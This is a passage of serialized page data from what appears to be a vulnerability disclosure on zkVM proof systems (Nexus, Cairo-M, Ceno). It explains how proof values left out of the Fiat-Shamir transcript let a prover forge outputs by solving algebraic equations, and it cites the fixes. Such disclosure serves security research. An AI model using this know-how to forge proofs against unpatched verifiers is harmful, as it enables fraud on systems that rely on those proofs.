:117402,"children":117403},{},[117404,117406,117411,117413,117418],{"type":29,"value":117405},"With ",{"type":24,"tag":32,"props":117407,"children":117409},{"className":117408},[],[117410],{"type":29,"value":114444},{"type":29,"value":117412}," not in transcript, the composition polynomial becomes a linear function of the ",{"type":24,"tag":32,"props":117414,"children":117416},{"className":117415},[],[117417],{"type":29,"value":114444},{"type":29,"value":117419}," values. Combined with the constraint that claimed sums must sum to zero, this is a small linear system that is easily solvable.",{"type":24,"tag":25,"props":117421,"children":117422},{},[117423,117427,117429],{"type":24,"tag":2040,"props":117424,"children":117425},{},[117426],{"type":29,"value":116290},{"type":29,"value":117428}," Fixed on October 24, 2025 via ",{"type":24,"tag":2033,"props":117430,"children":117433},{"href":117431,"rel":117432},"https://github.com/nexus-xyz/nexus-zkvm/pull/503",[2037],[117434],{"type":29,"value":117435},"PR #503",{"type":24,"tag":18531,"props":117437,"children":117438},{},[],{"type":24,"tag":1818,"props":117440,"children":117442},{"id":117441},"cairo-m-kakarot-labs",[117443],{"type":29,"value":117444},"Cairo-M (Kakarot Labs)",{"type":24,"tag":25,"props":117446,"children":117447},{},[117448],{"type":29,"value":117449},"Cairo-M, built by Kakarot Labs, is an alternative proof system for the Cairo VM (used by Starknet).",{"type":24,"tag":25,"props":117451,"children":117452},{},[117453],{"type":29,"value":117454},"Cairo-M is in many ways similar to Nexus. It uses logup to prove global statements about the execution.",{"type":24,"tag":25,"props":117456,"children":117457},{},[117458],{"type":24,"tag":2040,"props":117459,"children":117460},{},[117461],{"type":29,"value":114996},{"type":24,"tag":73,"props":117463,"children":117465},{"code":117464},"Proof {\n    claim: ComponentSizes,\n    interaction_claim: LogupClaimsPerComponent,\n    public_data: {          // \u003C- VULNERABLE\n        initial_registers: { pc, fp },\n        final_registers: { pc, fp }, // \u003C- forged\n        clock,                       // \u003C- forged\n        initial_root,                \n        final_root,                  // \u003C- forged\n        public_memory: { program, input, output }, //output modified\n    },\n    stark_proof: [...],\n}\n",[117466],{"type":24,"tag":32,"props":117467,"children":117468},{"__ignoreMap":7},[117469],{"type":29,"value":117464},{"type":24,"tag":25,"props":117471,"children":117472},{},[117473],{"type":24,"tag":2040,"props":117474,"children":117475},{},[117476],{"type":29,"value":115012},{"type":24,"tag":25,"props":117478,"children":117479},{},[117480],{"type":24,"tag":2510,"props":117481,"children":117484},{"alt":117482,"src":117483},"7_cairo_m_verification","/posts/zkvms-unfaithful-claims/7_cairo_m_verification.svg",[],{"type":24,"tag":25,"props":117486,"children":117487},{},[117488,117490,117496],{"type":29,"value":117489},"Lookup challenges are derived without ",{"type":24,"tag":32,"props":117491,"children":117493},{"className":117492},[],[117494],{"type":29,"value":117495},"public_data",{"type":29,"value":117497}," being  mixed into the transcript.",{"type":24,"tag":25,"props":117499,"children":117500},{},[117501,117502,117507,117509,117514],{"type":29,"value":16348},{"type":24,"tag":32,"props":117503,"children":117505},{"className":117504},[],[117506],{"type":29,"value":117495},{"type":29,"value":117508}," (program I/O, boundary registers, memory roots) enters the lookup relations inside ",{"type":24,"tag":2655,"props":117510,"children":117511},{},[117512],{"type":29,"value":117513},"denominators",{"type":29,"value":117515}," through challenge-weighted encodings of tuples. Abstractly, the verifier checks a relation of the form:",{"type":24,"tag":25,"props":117517,"children":117518},{},[117519],{"type":24,"tag":32,"props":117520,"children":117522},{"className":117521},[3726,3727],[117523],{"type":24,"tag":83,"props":117524,"children":117526},{"className":117525},[3732],[117527],{"type":24,"tag":83,"props":117528,"children":117530},{"className":117529,"ariaHidden":1237},[3737],[117531,117591,117637,117683],{"type":24,"tag":83,"props":117532,"children":117534},{"className":117533},[3742],[117535,117539,117545,117550,117559,117564,117573,117578,117582,117587],{"type":24,"tag":83,"props":117536,"children":117538},{"className":117537,"style":92702},[3747],[],{"type":24,"tag":83,"props":117540,"children":117542},{"className":117541},[3753,21328],[117543],{"type":29,"value":117544},"L",{"type":24,"tag":83,"props":117546,"children":117548},{"className":117547},[21457],[117549],{"type":29,"value":558},{"type":24,"tag":83,"props":117551,"children":117553},{"className":117552},[3753,29],[117554],{"type":24,"tag":83,"props":117555,"children":117557},{"className":117556},[3753],[117558],{"type":29,"value":61390},{"type":24,"tag":83,"props":117560,"children":117562},{"className":117561,"style":92760},[3753],[117563],{"type":29,"value":2827},{"type":24,"tag":83,"props":117565,"children":117567},{"className":117566},[3753,29],[117568],{"type":24,"tag":83,"props":117569,"children":117571},{"className":117570},[3753],[117572],{"type":29,"value":839},{"type":24,"tag":83,"props":117574,"children":117576},{"className":117575},[21479],[117577],{"type":29,"value":2872},{"type":24,"tag":83,"props":117579,"children":117581},{"className":117580,"style":3834},[3833],[],{"type":24,"tag":83,"props":117583,"children":117585},{"className":117584},[3839],[117586],{"type":29,"value":4126},{"type":24,"tag":83,"props":117588,"children":117590},{"className":117589,"style":3834},[3833],[],{"type":24,"tag":83,"props":117592,"children":117594},{"className":117593},[3742],[117595,117599,117609,117614,117624,117628,117633],{"type":24,"tag":83,"props":117596,"children":117598},{"className":117597,"style":92702},[3747],[],{"type":24,"tag":83,"props":117600,"children":117602},{"className":117601},[3753,29],[117603],{"type":24,"tag":83,"props":117604,"children":117606},{"className":117605},[3753],[117607],{"type":29,"value":117608},"(other transcript",{"type":24,"tag":83,"props":117610,"children":117612},{"className":117611,"style":92760},[3753],[117613],{"type":29,"value":2827},{"type":24,"tag":83,"props":117615,"children":117617},{"className":117616},[3753,29],[117618],{"type":24,"tag":83,"props":117619,"children":117621},{"className":117620},[3753],[117622],{"type":29,"value":117623},"bound terms)",{"type":24,"tag":83,"props":117625,"children":117627},{"className":117626,"style":3931},[3833],[],{"type":24,"tag":83,"props":117629,"children":117631},{"className":117630},[3936],[117632],{"type":29,"value":1275},{"type":24,"tag":83,"props":117634,"children":117636},{"className":117635,"style":3931},[3833],[],{"type":24,"tag":83,"props":117638,"children":117640},{"className":117639},[3742],[117641,117646,117651,117656,117661,117665,117670,117674,117679],{"type":24,"tag":83,"props":117642,"children":117645},{"className":117643,"style":117644},[3747],"height:0.8778em;vertical-align:-0.1944em;",[],{"type":24,"tag":83,"props":117647,"children":117649},{"className":117648},[3753],[117650],{"type":29,"value":1166},{"type":24,"tag":83,"props":117652,"children":117654},{"className":117653},[3865],[117655],{"type":29,"value":3868},{"type":24,"tag":83,"props":117657,"children":117660},{"className":117658,"style":117659},[3833],"margin-right:2em;",[],{"type":24,"tag":83,"props":117662,"children":117664},{"className":117663,"style":3872},[3833],[],{"type":24,"tag":83,"props":117666,"children":117668},{"className":117667},[3753,21328],[117669],{"type":29,"value":117544},{"type":24,"tag":83,"props":117671,"children":117673},{"className":117672,"style":3931},[3833],[],{"type":24,"tag":83,"props":117675,"children":117677},{"className":117676},[3936],[117678],{"type":29,"value":1275},{"type":24,"tag":83,"props":117680,"children":117682},{"className":117681,"style":3931},[3833],[],{"type":24,"tag":83,"props":117684,"children":117686},{"className":117685},[3742],[117687,117692,117749,117753,117971],{"type":24,"tag":83,"props":117688,"children":117691},{"className":117689,"style":117690},[3747],"height:1.4071em;vertical-align:-0.562em;",[],{"type":24,"tag":83,"props":117693,"children":117695},{"className":117694},[21364],[117696,117701],{"type":24,"tag":83,"props":117697,"children":117699},{"className":117698,"style":21371},[21364,21369,21370],[117700],{"type":29,"value":108375},{"type":24,"tag":83,"props":117702,"children":117704},{"className":117703},[3769],[117705],{"type":24,"tag":83,"props":117706,"children":117708},{"className":117707},[3774,21382],[117709,117738],{"type":24,"tag":83,"props":117710,"children":117712},{"className":117711},[3779],[117713,117733],{"type":24,"tag":83,"props":117714,"children":117716},{"className":117715,"style":113787},[3784],[117717],{"type":24,"tag":83,"props":117718,"children":117719},{"style":21395},[117720,117724],{"type":24,"tag":83,"props":117721,"children":117723},{"className":117722,"style":3794},[3793],[],{"type":24,"tag":83,"props":117725,"children":117727},{"className":117726},[3799,3800,3801,3802],[117728],{"type":24,"tag":83,"props":117729,"children":117731},{"className":117730},[3753,21328,3802],[117732],{"type":29,"value":3482},{"type":24,"tag":83,"props":117734,"children":117736},{"className":117735},[21485],[117737],{"type":29,"value":21488},{"type":24,"tag":83,"props":117739,"children":117741},{"className":117740},[3779],[117742],{"type":24,"tag":83,"props":117743,"children":117745},{"className":117744,"style":114067},[3784],[117746],{"type":24,"tag":83,"props":117747,"children":117748},{},[],{"type":24,"tag":83,"props":117750,"children":117752},{"className":117751,"style":3872},[3833],[],{"type":24,"tag":83,"props":117754,"children":117756},{"className":117755},[3753],[117757,117761,117967],{"type":24,"tag":83,"props":117758,"children":117760},{"className":117759},[21457,113098],[],{"type":24,"tag":83,"props":117762,"children":117764},{"className":117763},[113103],[117765],{"type":24,"tag":83,"props":117766,"children":117768},{"className":117767},[3774,21382],[117769,117955],{"type":24,"tag":83,"props":117770,"children":117772},{"className":117771},[3779],[117773,117950],{"type":24,"tag":83,"props":117774,"children":117776},{"className":117775,"style":113116},[3784],[117777,117919,117930],{"type":24,"tag":83,"props":117778,"children":117779},{"style":113120},[117780,117784],{"type":24,"tag":83,"props":117781,"children":117783},{"className":117782,"style":111751},[3793],[],{"type":24,"tag":83,"props":117785,"children":117787},{"className":117786},[3799,3800,3801,3802],[117788],{"type":24,"tag":83,"props":117789,"children":117791},{"className":117790},[3753,3802],[117792,117797,117802,117808,117813,117818,117875,117880,117889,117894,117903,117909,117914],{"type":24,"tag":83,"props":117793,"children":117795},{"className":117794,"style":113137},[3753,21328,3802],[117796],{"type":29,"value":113140},{"type":24,"tag":83,"props":117798,"children":117800},{"className":117799},[3839,3802],[117801],{"type":29,"value":4126},{"type":24,"tag":83,"props":117803,"children":117805},{"className":117804},[21457,3802],[117806],{"type":29,"value":117807},"⟨",{"type":24,"tag":83,"props":117809,"children":117811},{"className":117810,"style":114668},[3753,21328,3802],[117812],{"type":29,"value":114671},{"type":24,"tag":83,"props":117814,"children":117816},{"className":117815},[3865,3802],[117817],{"type":29,"value":3868},{"type":24,"tag":83,"props":117819,"children":117821},{"className":117820},[3753,3802],[117822,117827],{"type":24,"tag":83,"props":117823,"children":117825},{"className":117824},[3753,21328,3802],[117826],{"type":29,"value":21470},{"type":24,"tag":83,"props":117828,"children":117830},{"className":117829},[3769],[117831],{"type":24,"tag":83,"props":117832,"children":117834},{"className":117833},[3774,21382],[117835,117864],{"type":24,"tag":83,"props":117836,"children":117838},{"className":117837},[3779],[117839,117859],{"type":24,"tag":83,"props":117840,"children":117842},{"className":117841,"style":113904},[3784],[117843],{"type":24,"tag":83,"props":117844,"children":117845},{"style":108435},[117846,117850],{"type":24,"tag":83,"props":117847,"children":117849},{"className":117848,"style":108440},[3793],[],{"type":24,"tag":83,"props":117851,"children":117853},{"className":117852},[3799,108445,108446,3802],[117854],{"type":24,"tag":83,"props":117855,"children":117857},{"className":117856},[3753,21328,3802],[117858],{"type":29,"value":3482},{"type":24,"tag":83,"props":117860,"children":117862},{"className":117861},[21485],[117863],{"type":29,"value":21488},{"type":24,"tag":83,"props":117865,"children":117867},{"className":117866},[3779],[117868],{"type":24,"tag":83,"props":117869,"children":117871},{"className":117870,"style":108465},[3784],[117872],{"type":24,"tag":83,"props":117873,"children":117874},{},[],{"type":24,"tag":83,"props":117876,"children":117878},{"className":117877},[21457,3802],[117879],{"type":29,"value":558},{"type":24,"tag":83,"props":117881,"children":117883},{"className":117882},[3753,29,3802],[117884],{"type":24,"tag":83,"props":117885,"children":117887},{"className":117886},[3753,3802],[117888],{"type":29,"value":61390},{"type":24,"tag":83,"props":117890,"children":117892},{"className":117891,"style":92760},[3753,3802],[117893],{"type":29,"value":2827},{"type":24,"tag":83,"props":117895,"children":117897},{"className":117896},[3753,29,3802],[117898],{"type":24,"tag":83,"props":117899,"children":117901},{"className":117900},[3753,3802],[117902],{"type":29,"value":839},{"type":24,"tag":83,"props":117904,"children":117906},{"className":117905},[21479,3802],[117907],{"type":29,"value":117908},")⟩",{"type":24,"tag":83,"props":117910,"children":117912},{"className":117911},[3839,3802],[117913],{"type":29,"value":4126},{"type":24,"tag":83,"props":117915,"children":117917},{"className":117916,"style":114723},[3753,21328,3802],[117918],{"type":29,"value":114726},{"type":24,"tag":83,"props":117920,"children":117921},{"style":113153},[117922,117926],{"type":24,"tag":83,"props":117923,"children":117925},{"className":117924,"style":111751},[3793],[],{"type":24,"tag":83,"props":117927,"children":117929},{"className":117928,"style":113163},[113162],[],{"type":24,"tag":83,"props":117931,"children":117932},{"style":113167},[117933,117937],{"type":24,"tag":83,"props":117934,"children":117936},{"className":117935,"style":111751},[3793],[],{"type":24,"tag":83,"props":117938,"children":117940},{"className":117939},[3799,3800,3801,3802],[117941],{"type":24,"tag":83,"props":117942,"children":117944},{"className":117943},[3753,3802],[117945],{"type":24,"tag":83,"props":117946,"children":117948},{"className":117947},[3753,3802],[117949],{"type":29,"value":3756},{"type":24,"tag":83,"props":117951,"children":117953},{"className":117952},[21485],[117954],{"type":29,"value":21488},{"type":24,"tag":83,"props":117956,"children":117958},{"className":117957},[3779],[117959],{"type":24,"tag":83,"props":117960,"children":117963},{"className":117961,"style":117962},[3784],"height:0.562em;",[117964],{"type":24,"tag":83,"props":117965,"children":117966},{},[],{"type":24,"tag":83,"props":117968,"children":117970},{"className":117969},[21479,113098],[],{"type":24,"tag":83,"props":117972,"children":117974},{"className":117973},[3753],[117975],{"type":29,"value":161},{"type":24,"tag":25,"props":117977,"children":117978},{},[117979,117981],{"type":29,"value":117980},"The global check is then that ",{"type":24,"tag":32,"props":117982,"children":117984},{"className":117983},[3726,3727],[117985],{"type":24,"tag":83,"props":117986,"children":117988},{"className":117987},[3732],[117989],{"type":24,"tag":83,"props":117990,"children":117992},{"className":117991,"ariaHidden":1237},[3737],[117993,118034,118065],{"type":24,"tag":83,"props":117994,"children":117996},{"className":117995},[3742],[117997,118001,118006,118011,118016,118021,118025,118030],{"type":24,"tag":83,"props":117998,"children":118000},{"className":117999,"style":3854},[3747],[],{"type":24,"tag":83,"props":118002,"children":118004},{"className":118003},[3753,21328],[118005],{"type":29,"value":117544},{"type":24,"tag":83,"props":118007,"children":118009},{"className":118008},[21457],[118010],{"type":29,"value":558},{"type":24,"tag":83,"props":118012,"children":118014},{"className":118013},[3753,21328],[118015],{"type":29,"value":25},{"type":24,"tag":83,"props":118017,"children":118019},{"className":118018},[21479],[118020],{"type":29,"value":2872},{"type":24,"tag":83,"props":118022,"children":118024},{"className":118023,"style":3834},[3833],[],{"type":24,"tag":83,"props":118026,"children":118028},{"className":118027},[3839],[118029],{"type":29,"value":4126},{"type":24,"tag":83,"props":118031,"children":118033},{"className":118032,"style":3834},[3833],[],{"type":24,"tag":83,"props":118035,"children":118037},{"className":118036},[3742],[118038,118042,118052,118056,118061],{"type":24,"tag":83,"props":118039,"children":118041},{"className":118040,"style":3854},[3747],[],{"type":24,"tag":83,"props":118043,"children":118045},{"className":118044},[3753,29],[118046],{"type":24,"tag":83,"props":118047,"children":118049},{"className":118048},[3753],[118050],{"type":29,"value":118051},"(other terms)",{"type":24,"tag":83,"props":118053,"children":118055},{"className":118054,"style":3931},[3833],[],{"type":24,"tag":83,"props":118057,"children":118059},{"className":118058},[3936],[118060],{"type":29,"value":1275},{"type":24,"tag":83,"props":118062,"children":118064},{"className":118063,"style":3931},[3833],[],{"type":24,"tag":83,"props":118066,"children":118068},{"className":118067},[3742],[118069,118073],{"type":24,"tag":83,"props":118070,"children":118072},{"className":118071,"style":93791},[3747],[],{"type":24,"tag":83,"props":118074,"children":118076},{"className":118075},[3753],[118077],{"type":29,"value":1166},{"type":24,"tag":25,"props":118079,"children":118080},{},[118081],{"type":29,"value":118082},"With challenges fixed, this is a rational equation in public data. This is not linear, but still algebraically solvable.",{"type":24,"tag":25,"props":118084,"children":118085},{},[118086],{"type":29,"value":118087},"Public-data coordinates participate in verification relations through extension-field arithmetic (including extension-valued public-memory entries), so the forged-parameter search is a coupled extension-field system.",{"type":24,"tag":25,"props":118089,"children":118090},{},[118091,118095,118097],{"type":24,"tag":2040,"props":118092,"children":118093},{},[118094],{"type":29,"value":116290},{"type":29,"value":118096}," Fixed on October 31, 2025 via ",{"type":24,"tag":2033,"props":118098,"children":118101},{"href":118099,"rel":118100},"https://github.com/kkrt-labs/cairo-m/pull/352/commits/92b6740937e904e0002e7ee099fec357127c1d16",[2037],[118102],{"type":29,"value":118103},"commit 92b6740",{"type":24,"tag":18531,"props":118105,"children":118106},{},[],{"type":24,"tag":1818,"props":118108,"children":118110},{"id":118109},"ceno-scroll",[118111],{"type":29,"value":118112},"Ceno (Scroll)",{"type":24,"tag":25,"props":118114,"children":118115},{},[118116],{"type":29,"value":118117},"Ceno is a zkVM by Scroll, using GKR with a tower sumcheck structure.",{"type":24,"tag":25,"props":118119,"children":118120},{},[118121,118123,118128],{"type":29,"value":118122},"Ceno splits verification into ",{"type":24,"tag":2040,"props":118124,"children":118125},{},[118126],{"type":29,"value":118127},"chips",{"type":29,"value":118129},", with one per opcode or lookup table. Each chip proves its constraints independently.",{"type":24,"tag":25,"props":118131,"children":118132},{},[118133,118135,118140],{"type":29,"value":118134},"Many per-record values (reads, writes, lookups) are batched into a binary tree structure. Each layer folds pairs of values with random challenges; this is the ",{"type":24,"tag":2040,"props":118136,"children":118137},{},[118138],{"type":29,"value":118139},"tower sumcheck",{"type":29,"value":161},{"type":24,"tag":25,"props":118142,"children":118143},{},[118144],{"type":29,"value":118145},"All read records must match all write records (plus initial/final state). This is checked via a multiset equality, this time using a product instead of logup:",{"type":24,"tag":25,"props":118147,"children":118148},{},[118149],{"type":24,"tag":32,"props":118150,"children":118152},{"className":118151},[3726,3727],[118153],{"type":24,"tag":83,"props":118154,"children":118156},{"className":118155},[3732],[118157],{"type":24,"tag":83,"props":118158,"children":118160},{"className":118159,"ariaHidden":1237},[3737],[118161,118335,118508],{"type":24,"tag":83,"props":118162,"children":118164},{"className":118163},[3742],[118165,118169,118227,118231,118240,118245,118255,118260,118322,118326,118331],{"type":24,"tag":83,"props":118166,"children":118168},{"className":118167,"style":92702},[3747],[],{"type":24,"tag":83,"props":118170,"children":118172},{"className":118171},[21364],[118173,118179],{"type":24,"tag":83,"props":118174,"children":118176},{"className":118175,"style":21371},[21364,21369,21370],[118177],{"type":29,"value":118178},"∏",{"type":24,"tag":83,"props":118180,"children":118182},{"className":118181},[3769],[118183],{"type":24,"tag":83,"props":118184,"children":118186},{"className":118185},[3774,21382],[118187,118216],{"type":24,"tag":83,"props":118188,"children":118190},{"className":118189},[3779],[118191,118211],{"type":24,"tag":83,"props":118192,"children":118194},{"className":118193,"style":113787},[3784],[118195],{"type":24,"tag":83,"props":118196,"children":118197},{"style":21395},[118198,118202],{"type":24,"tag":83,"props":118199,"children":118201},{"className":118200,"style":3794},[3793],[],{"type":24,"tag":83,"props":118203,"children":118205},{"className":118204},[3799,3800,3801,3802],[118206],{"type":24,"tag":83,"props":118207,"children":118209},{"className":118208},[3753,21328,3802],[118210],{"type":29,"value":3482},{"type":24,"tag":83,"props":118212,"children":118214},{"className":118213},[21485],[118215],{"type":29,"value":21488},{"type":24,"tag":83,"props":118217,"children":118219},{"className":118218},[3779],[118220],{"type":24,"tag":83,"props":118221,"children":118223},{"className":118222,"style":114067},[3784],[118224],{"type":24,"tag":83,"props":118225,"children":118226},{},[],{"type":24,"tag":83,"props":118228,"children":118230},{"className":118229,"style":3872},[3833],[],{"type":24,"tag":83,"props":118232,"children":118234},{"className":118233},[3753,29],[118235],{"type":24,"tag":83,"props":118236,"children":118238},{"className":118237},[3753],[118239],{"type":29,"value":93579},{"type":24,"tag":83,"props":118241,"children":118243},{"className":118242,"style":92760},[3753],[118244],{"type":29,"value":2827},{"type":24,"tag":83,"props":118246,"children":118248},{"className":118247},[3753,29],[118249],{"type":24,"tag":83,"props":118250,"children":118252},{"className":118251},[3753],[118253],{"type":29,"value":118254},"out",{"type":24,"tag":83,"props":118256,"children":118258},{"className":118257,"style":92760},[3753],[118259],{"type":29,"value":2827},{"type":24,"tag":83,"props":118261,"children":118263},{"className":118262},[3753],[118264,118274],{"type":24,"tag":83,"props":118265,"children":118267},{"className":118266},[3753,29],[118268],{"type":24,"tag":83,"props":118269,"children":118271},{"className":118270},[3753],[118272],{"type":29,"value":118273},"evals",{"type":24,"tag":83,"props":118275,"children":118277},{"className":118276},[3769],[118278],{"type":24,"tag":83,"props":118279,"children":118281},{"className":118280},[3774,21382],[118282,118311],{"type":24,"tag":83,"props":118283,"children":118285},{"className":118284},[3779],[118286,118306],{"type":24,"tag":83,"props":118287,"children":118289},{"className":118288,"style":93289},[3784],[118290],{"type":24,"tag":83,"props":118291,"children":118292},{"style":113710},[118293,118297],{"type":24,"tag":83,"props":118294,"children":118296},{"className":118295,"style":3794},[3793],[],{"type":24,"tag":83,"props":118298,"children":118300},{"className":118299},[3799,3800,3801,3802],[118301],{"type":24,"tag":83,"props":118302,"children":118304},{"className":118303},[3753,21328,3802],[118305],{"type":29,"value":3482},{"type":24,"tag":83,"props":118307,"children":118309},{"className":118308},[21485],[118310],{"type":29,"value":21488},{"type":24,"tag":83,"props":118312,"children":118314},{"className":118313},[3779],[118315],{"type":24,"tag":83,"props":118316,"children":118318},{"className":118317,"style":92843},[3784],[118319],{"type":24,"tag":83,"props":118320,"children":118321},{},[],{"type":24,"tag":83,"props":118323,"children":118325},{"className":118324,"style":3931},[3833],[],{"type":24,"tag":83,"props":118327,"children":118329},{"className":118328},[3936],[118330],{"type":29,"value":1275},{"type":24,"tag":83,"props":118332,"children":118334},{"className":118333,"style":3931},[3833],[],{"type":24,"tag":83,"props":118336,"children":118338},{"className":118337},[3742],[118339,118344,118401,118405,118414,118419,118428,118433,118495,118499,118504],{"type":24,"tag":83,"props":118340,"children":118343},{"className":118341,"style":118342},[3747],"height:1.1858em;vertical-align:-0.4358em;",[],{"type":24,"tag":83,"props":118345,"children":118347},{"className":118346},[21364],[118348,118353],{"type":24,"tag":83,"props":118349,"children":118351},{"className":118350,"style":21371},[21364,21369,21370],[118352],{"type":29,"value":118178},{"type":24,"tag":83,"props":118354,"children":118356},{"className":118355},[3769],[118357],{"type":24,"tag":83,"props":118358,"children":118360},{"className":118359},[3774,21382],[118361,118390],{"type":24,"tag":83,"props":118362,"children":118364},{"className":118363},[3779],[118365,118385],{"type":24,"tag":83,"props":118366,"children":118368},{"className":118367,"style":113787},[3784],[118369],{"type":24,"tag":83,"props":118370,"children":118371},{"style":21395},[118372,118376],{"type":24,"tag":83,"props":118373,"children":118375},{"className":118374,"style":3794},[3793],[],{"type":24,"tag":83,"props":118377,"children":118379},{"className":118378},[3799,3800,3801,3802],[118380],{"type":24,"tag":83,"props":118381,"children":118383},{"className":118382,"style":113803},[3753,21328,3802],[118384],{"type":29,"value":8401},{"type":24,"tag":83,"props":118386,"children":118388},{"className":118387},[21485],[118389],{"type":29,"value":21488},{"type":24,"tag":83,"props":118391,"children":118393},{"className":118392},[3779],[118394],{"type":24,"tag":83,"props":118395,"children":118397},{"className":118396,"style":113818},[3784],[118398],{"type":24,"tag":83,"props":118399,"children":118400},{},[],{"type":24,"tag":83,"props":118402,"children":118404},{"className":118403,"style":3872},[3833],[],{"type":24,"tag":83,"props":118406,"children":118408},{"className":118407},[3753,29],[118409],{"type":24,"tag":83,"props":118410,"children":118412},{"className":118411},[3753],[118413],{"type":29,"value":49288},{"type":24,"tag":83,"props":118415,"children":118417},{"className":118416,"style":92760},[3753],[118418],{"type":29,"value":2827},{"type":24,"tag":83,"props":118420,"children":118422},{"className":118421},[3753,29],[118423],{"type":24,"tag":83,"props":118424,"children":118426},{"className":118425},[3753],[118427],{"type":29,"value":118254},{"type":24,"tag":83,"props":118429,"children":118431},{"className":118430,"style":92760},[3753],[118432],{"type":29,"value":2827},{"type":24,"tag":83,"props":118434,"children":118436},{"className":118435},[3753],[118437,118446],{"type":24,"tag":83,"props":118438,"children":118440},{"className":118439},[3753,29],[118441],{"type":24,"tag":83,"props":118442,"children":118444},{"className":118443},[3753],[118445],{"type":29,"value":118273},{"type":24,"tag":83,"props":118447,"children":118449},{"className":118448},[3769],[118450],{"type":24,"tag":83,"props":118451,"children":118453},{"className":118452},[3774,21382],[118454,118483],{"type":24,"tag":83,"props":118455,"children":118457},{"className":118456},[3779],[118458,118478],{"type":24,"tag":83,"props":118459,"children":118461},{"className":118460,"style":93289},[3784],[118462],{"type":24,"tag":83,"props":118463,"children":118464},{"style":113710},[118465,118469],{"type":24,"tag":83,"props":118466,"children":118468},{"className":118467,"style":3794},[3793],[],{"type":24,"tag":83,"props":118470,"children":118472},{"className":118471},[3799,3800,3801,3802],[118473],{"type":24,"tag":83,"props":118474,"children":118476},{"className":118475,"style":113803},[3753,21328,3802],[118477],{"type":29,"value":8401},{"type":24,"tag":83,"props":118479,"children":118481},{"className":118480},[21485],[118482],{"type":29,"value":21488},{"type":24,"tag":83,"props":118484,"children":118486},{"className":118485},[3779],[118487],{"type":24,"tag":83,"props":118488,"children":118491},{"className":118489,"style":118490},[3784],"height:0.2861em;",[118492],{"type":24,"tag":83,"props":118493,"children":118494},{},[],{"type":24,"tag":83,"props":118496,"children":118498},{"className":118497,"style":3834},[3833],[],{"type":24,"tag":83,"props":118500,"children":118502},{"className":118501},[3839],[118503],{"type":29,"value":110842},{"type":24,"tag":83,"props":118505,"children":118507},{"className":118506,"style":3834},[3833],[],{"type":24,"tag":83,"props":118509,"children":118511},{"className":118510},[3742],[118512,118516,118521,118531],{"type":24,"tag":83,"props":118513,"children":118515},{"className":118514,"style":3854},[3747],[],{"type":24,"tag":83,"props":118517,"children":118519},{"className":118518},[21457],[118520],{"type":29,"value":558},{"type":24,"tag":83,"props":118522,"children":118524},{"className":118523},[3753,29],[118525],{"type":24,"tag":83,"props":118526,"children":118528},{"className":118527},[3753],[118529],{"type":29,"value":118530},"state factors",{"type":24,"tag":83,"props":118532,"children":118534},{"className":118533},[21479],[118535],{"type":29,"value":2872},{"type":24,"tag":25,"props":118537,"children":118538},{},[118539],{"type":24,"tag":2040,"props":118540,"children":118541},{},[118542],{"type":29,"value":114996},{"type":24,"tag":73,"props":118544,"children":118546},{"code":118545},"ZKVMChipProof {\n    r_out_evals: [[FieldElement]],   // \u003C- VULNERABLE\n    w_out_evals: [[FieldElement]],   // \u003C- VULNERABLE\n    lk_out_evals: [[FieldElement]],  // \u003C- VULNERABLE\n    tower_proof: [...],\n    gkr_iop_proof: [...],\n}\n",[118547],{"type":24,"tag":32,"props":118548,"children":118549},{"__ignoreMap":7},[118550],{"type":29,"value":118545},{"type":24,"tag":25,"props":118552,"children":118553},{},[118554,118560,118561,118567,118568,118574],{"type":24,"tag":32,"props":118555,"children":118557},{"className":118556},[],[118558],{"type":29,"value":118559},"r_out_evals",{"type":29,"value":568},{"type":24,"tag":32,"props":118562,"children":118564},{"className":118563},[],[118565],{"type":29,"value":118566},"w_out_evals",{"type":29,"value":6234},{"type":24,"tag":32,"props":118569,"children":118571},{"className":118570},[],[118572],{"type":29,"value":118573},"lk_out_evals",{"type":29,"value":118575}," are used to initialize the tower sumcheck claim, but they're never absorbed into the transcript. This leaves us with two equations:",{"type":24,"tag":63,"props":118577,"children":118578},{},[118579],{"type":24,"tag":67,"props":118580,"children":118581},{},[118582,118587,118589,118595],{"type":24,"tag":2040,"props":118583,"children":118584},{},[118585],{"type":29,"value":118586},"GKR/Tower equation",{"type":29,"value":118588}," (linear in ",{"type":24,"tag":32,"props":118590,"children":118592},{"className":118591},[],[118593],{"type":29,"value":118594},"out_evals",{"type":29,"value":23696},{"type":24,"tag":25,"props":118597,"children":118598},{},[118599,118601],{"type":29,"value":118600},"The tower sumcheck claim is ",{"type":24,"tag":32,"props":118602,"children":118604},{"className":118603},[3726,3727],[118605],{"type":24,"tag":83,"props":118606,"children":118608},{"className":118607},[3732],[118609],{"type":24,"tag":83,"props":118610,"children":118612},{"className":118611,"ariaHidden":1237},[3737],[118613,118644,118769],{"type":24,"tag":83,"props":118614,"children":118616},{"className":118615},[3742],[118617,118621,118631,118635,118640],{"type":24,"tag":83,"props":118618,"children":118620},{"className":118619,"style":92675},[3747],[],{"type":24,"tag":83,"props":118622,"children":118624},{"className":118623},[3753,29],[118625],{"type":24,"tag":83,"props":118626,"children":118628},{"className":118627},[3753],[118629],{"type":29,"value":118630},"claim",{"type":24,"tag":83,"props":118632,"children":118634},{"className":118633,"style":3931},[3833],[],{"type":24,"tag":83,"props":118636,"children":118638},{"className":118637},[3936],[118639],{"type":29,"value":1275},{"type":24,"tag":83,"props":118641,"children":118643},{"className":118642,"style":3931},[3833],[],{"type":24,"tag":83,"props":118645,"children":118647},{"className":118646},[3742],[118648,118653,118710,118714,118756,118760,118765],{"type":24,"tag":83,"props":118649,"children":118652},{"className":118650,"style":118651},[3747],"height:1.2605em;vertical-align:-0.4358em;",[],{"type":24,"tag":83,"props":118654,"children":118656},{"className":118655},[21364],[118657,118662],{"type":24,"tag":83,"props":118658,"children":118660},{"className":118659,"style":21371},[21364,21369,21370],[118661],{"type":29,"value":108375},{"type":24,"tag":83,"props":118663,"children":118665},{"className":118664},[3769],[118666],{"type":24,"tag":83,"props":118667,"children":118669},{"className":118668},[3774,21382],[118670,118699],{"type":24,"tag":83,"props":118671,"children":118673},{"className":118672},[3779],[118674,118694],{"type":24,"tag":83,"props":118675,"children":118677},{"className":118676,"style":113787},[3784],[118678],{"type":24,"tag":83,"props":118679,"children":118680},{"style":21395},[118681,118685],{"type":24,"tag":83,"props":118682,"children":118684},{"className":118683,"style":3794},[3793],[],{"type":24,"tag":83,"props":118686,"children":118688},{"className":118687},[3799,3800,3801,3802],[118689],{"type":24,"tag":83,"props":118690,"children":118692},{"className":118691,"style":113803},[3753,21328,3802],[118693],{"type":29,"value":8401},{"type":24,"tag":83,"props":118695,"children":118697},{"className":11869